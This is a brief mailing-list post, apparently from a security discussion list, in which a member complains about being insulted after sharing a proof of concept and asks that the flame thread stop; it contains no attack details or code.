All I have to say is that we should cut the crap. I just thought of a possible attack scenario which I proved using a PoC and posted to this mailing list for discussion and constructive feedback which can help in developing more secure applications.
All I got from debasis is "PISS OFF, LAME, KID, MORON". He asked me to do more research before posting anything. I proved I was right using a screenshot. Looks like it has hurted his ego. I might be kid enough not to understand the purpose of this list but I am mature enough to understand flaming is NOT the purpose. So I would rather like to suggest we should stop this thread. Thank you all. Gaurav.
